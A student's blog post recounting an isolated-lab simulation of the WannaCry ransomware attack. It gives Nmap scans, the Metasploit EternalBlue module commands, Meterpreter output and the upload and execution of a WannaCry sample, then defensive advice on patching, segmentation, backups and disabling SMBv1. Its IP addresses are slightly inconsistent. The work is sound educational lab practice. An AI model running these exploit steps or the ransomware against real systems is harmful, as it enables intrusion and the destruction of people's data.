A hands-on technical breakdown of the WannaCry ransomware, the EternalBlue exploit, and why system patching is still critical today.
Imagine it’s a typical Monday morning at a mid-size hospital. An older Windows computer in the Radiology department hasn't been updated in months. The hospital's network is completely "flat," meaning every computer can seamlessly talk to every other device on the network.
Suddenly, a doctor tries to open a patient's record and gets an error. Then the screen goes dark. A red lock icon appears, demanding $300 in Bitcoin. Within minutes, it's not just the Radiology PC—it’s the nursing stations, the shared file servers, and the administration desks. Everything is locked.
This isn't a theoretical movie plot. It’s exactly how the WannaCry ransomware crippled global infrastructure in May 2017, causing an estimated $4 billion in damages.
As a 4th-year BTech Computer Science student diving deep into cybersecurity, reading about these attacks isn't enough. I wanted to understand the mechanics underneath. So, I built an isolated lab environment to simulate the WannaCry attack safely.
Here is a hands-on, educational breakdown of how the attack works, how the EternalBlue exploit functions, and most importantly, how we can defend against it.
⚠️ Disclaimer: This simulation was conducted in a strictly controlled, isolated, and legally owned VirtualBox environment. The information provided here is purely for educational purposes to understand malware mechanics and improve defensive security strategies.
🛑 What exactly is Ransomware (and why was WannaCry different)?
At its core, ransomware is a digital lockbox. It’s malicious software that infiltrates a system, encrypts the user's files, and holds the decryption key hostage until a ransom is paid.
Traditional ransomware usually requires user interaction—like an employee accidentally clicking a bad link in a phishing email. WannaCry was different. WannaCry possessed worm-like behavior.
It utilized a leaked NSA exploit known as EternalBlue (MS17-010). This exploit targeted a critical vulnerability in Microsoft's Server Message Block (SMBv1) protocol. Because of this, WannaCry didn't need anyone to click a link; if a machine was on the network, had SMB exposed, and lacked the security patch, the ransomware could break in and spread autonomously.
📅 The 2017 Attack — What Actually Happened?
On May 12, 2017, WannaCry began spreading across the globe.
Within just a few hours, it had infected over 200,000 computers across 150 countries.
Some of the hardest-hit targets:
- 🏥 UK's National Health Service (NHS) — hospitals couldn't access patient records, surgeries were cancelled, ambulances were diverted
- 🚂 Deutsche Bahn (German Railways) — departure boards went dark
- 🏭 Renault, FedEx, Telefónica, Boeing — operations disrupted worldwide The estimated financial damage? Over $4 billion.
The attack was eventually slowed down when a British security researcher, Marcus Hutchins, discovered a "kill switch" — a specific domain name hardcoded into the malware. Registering that domain stopped new infections. But by then, the damage was done.
🔧 The Exploit Behind It All — EternalBlue (MS17-010)
Here's where things get fascinating (and a bit dark).
WannaCry didn't just appear out of thin air. It was powered by EternalBlue — a cyberweapon developed by the U.S. National Security Agency (NSA).
EternalBlue exploits a critical vulnerability in Windows' SMB (Server Message Block) protocol — specifically, MS17-010. SMB is the protocol Windows uses for file and printer sharing across a network, running on port 445.
The vulnerability allows an attacker to send a specially crafted packet to a Windows machine running SMB v1, without any username or password, and gain remote code execution. Complete control. No credentials required.
Microsoft had released a patch (MS17-010) in March 2017 — two months before the attack. But millions of organizations had still not applied it. The NSA's tool, once leaked by a group called the Shadow Brokers, became the foundation of one of the most destructive attacks the internet has ever seen.
🛠️ The Lab Setup
To recreate this safely, I set up a virtualized sandbox:
- Hypervisor: Oracle VirtualBox
- Network: An isolated NAT Network (ensuring nothing escapes to my host machine or home Wi-Fi).
- Attacker Machine: Kali Linux
- Target Machine: Windows 7 (intentionally unpatched and vulnerable)
Once both machines were on the same NAT network and could ping each other, the simulation began.
🕵️♂️ Phase 1: Reconnaissance (Finding the Unlocked Door)
The first step in any attack is understanding the landscape. Using Kali Linux, I utilized Nmap (Network Mapper) to scan the subnet and identify live hosts and open ports.
Think of this phase like a burglar quietly walking down a hotel hallway, checking the handle of every single door to see which ones are left unlocked.
nmap -sV -O 10.0.4.0/24
10.0.4.7 is the IP address of the Linux machine when it's on that local network.
The scan returned highly valuable information:
- That a machine(10.0.2.4) was running Windows 7.
- Port 445 (microsoft-ds) was wide open.
Port 445 is used for SMB (file sharing). Knowing that Windows 7 and unpatched SMB is a lethal combination, I had found my entry point.
🔎 Phase 2 — Confirming the Vulnerability (Nmap Vuln Script)
Finding port 445 open is suspicious, but it's not enough on its own. The next thing a real attacker (or a penetration tester) does is confirm that the machine is actually vulnerable — not just that the port is open.
Nmap has a built-in script engine that can run vulnerability checks directly against a target. I ran:
nmap --script vuln 10.0.2.4
This tells Nmap to run its full suite of vulnerability detection scripts against the victim machine. It checks for known CVEs, misconfigurations, and weaknesses across all open ports.
What came back was exactly what we were looking for:
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
There it is — MS17-010 confirmed VULNERABLE. CVE-2017-0143. Risk factor: HIGH.
This step is important because it removes all guesswork. You now know, with certainty, that this specific machine has the EternalBlue vulnerability sitting open. In a real pentest, this is what you'd document before moving forward — proof of vulnerability, not just assumption.
Now we have everything we need: a target IP, an open SMB port, and a confirmed vulnerability. Time to exploit.
💣 Phase 3 — Exploiting the Vulnerability (EternalBlue via Metasploit)
Metasploit is a legitimate penetration testing framework used by security professionals worldwide. It comes pre-installed on Kali Linux and includes a massive database of exploits — including EternalBlue.
I launched Metasploit and searched for the MS17-010 exploit:
msfconsole
search ms17-010
This returned a list of available exploits. I selected:
use exploit/windows/smb/ms17_010_eternalblue
The Exploit is loaded. (Just like a gun).
Now we check the requirements of this exploit.
Then I configured it with the target's IP address:
set RHOSTS 10.0.2.4
run
What happened next blew my mind.
Within seconds, Metasploit established a Meterpreter session — a powerful reverse shell — on the Windows 7 machine. No password. No user interaction. The machine was completely compromised.
I could now browse its file system, download files, execute commands — complete control.
meterpreter > pwd
C:\Windows\system32
meterpreter > cd ../..
meterpreter > pwd
C:\
meterpreter > cd users
meterpreter > ls
Listing: C:\users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2009-07-14 01:08:56 -0400 All Users
040555/r-xr-xr-x 8192 dir 2009-07-14 03:07:31 -0400 Default
040777/rwxrwxrwx 0 dir 2009-07-14 01:08:56 -0400 Default User
040555/r-xr-xr-x 4096 dir 2009-07-14 00:54:24 -0400 Public
100666/rw-rw-rw- 174 fil 2009-07-14 00:54:24 -0400 desktop.ini
040777/rwxrwxrwx 8192 dir 2025-04-12 16:41:39 -0400 vboxuser
meterpreter > cd vboxuser
meterpreter > cd desktop
This is the power (and the terror) of an unpatched vulnerability. The door was wide open.
💉 Phase 4: Delivering the Payload
With total control over the victim's system, I could browse files, dump passwords, or monitor keystrokes. But the goal of this lab was to simulate the ransomware payload.
I needed to upload the WannaCry.exe sample from my Kali machine to the Windows desktop.
Side note on troubleshooting: During this step, I ran into pathing issues. My downloaded file was in my Kali /home/kali/ directory, and I needed to ensure the Meterpreter shell was in a valid Windows directory (like C:\Users\Target\Desktop) before uploading. Learning how to navigate Linux and Windows pathing simultaneously was a great hands-on lesson!
meterpreter > upload /home/kali/Downloads/WannaCry.exe
[*] Uploading : /home/kali/Downloads/WannaCry.exe -> WannaCry.exe
[*] Uploaded 3.35 MiB of 3.35 MiB (100.0%): /home/kali/Downloads/WannaCry.exe -> WannaCry.exe
[*] Completed : /home/kali/Downloads/WannaCry.exe -> WannaCry.exe
meterpreter >
For the WannaCry sample, I sourced it from a controlled research repository. If you're replicating this lab, please only obtain malware samples through legitimate security research platforms and never outside an isolated environment. I cannot provide the .exe link for security reasons.
Once uploaded, I executed the malware directly from my terminal:
execute -f WannaCry.exe
💀 The Aftermath: Watching the World Burn (Locally)
The impact on the victim's machine was terrifyingly fast.
Before the attack: The desktop had folders, JPEGs, MP3 files, and standard documents.
During the encryption:
After the attack: The files rapidly began changing their extensions to .WNCRY. They were completely inaccessible.
Then, the desktop wallpaper changed to a dark warning screen, and the infamous "Wana Decrypt0r 2.0" window popped up. It featured countdown timers designed to induce panic and clear instructions on how to send $300 in Bitcoin to a specific wallet address.
If this were a hospital, the business would be entirely paralyzed.
🛡️ Defensive Takeaways: How Do We Stop This?
Simulating the attack is cool, but learning how to stop it is the actual job. Here is what this lab taught me about enterprise defense:
1. Patch Management is Non-Negotiable
The wildest part about the 2017 WannaCry outbreak? Microsoft had released a patch for the SMB vulnerability two months before the attack happened. Organizations that kept their systems updated were completely immune. Patching is tedious, but it is the ultimate shield.
2. Network Segmentation
In our "hospital" scenario, the network was flat. If the hospital had segmented its network—isolating the Radiology computers from the administrative servers and restricting SMB traffic across subnets—the worm wouldn't have been able to spread hospital-wide.
3. Backups (The Ultimate Undo Button)
If your files are encrypted and you have a secure, offline backup from the night before, ransomware loses its leverage. You don't pay the ransom; you wipe the machine and restore the data.
4. Disable Legacy Protocols
If a system doesn't strictly need SMBv1, disable it. Reducing the attack surface is a core pillar of security.
🎓 Final Thoughts
Reading about the theory of buffer overflows and ransomware logic is one thing, but running the exploit and watching a system fall apart in real-time hits completely differently.
Getting my hands dirty with VirtualBox networking, Metasploit, and basic malware execution reinforced the "why" behind the security controls we implement. It’s easy to complain about forced Windows updates, but after seeing EternalBlue in action, I'll happily let my PC restart.
Have you ever simulated a malware attack in a lab? What was your biggest takeaway? Let me know in the comments!
If you liked this breakdown, feel free to connect with me on LinkedIn as I document the rest of my BTech cybersecurity journey!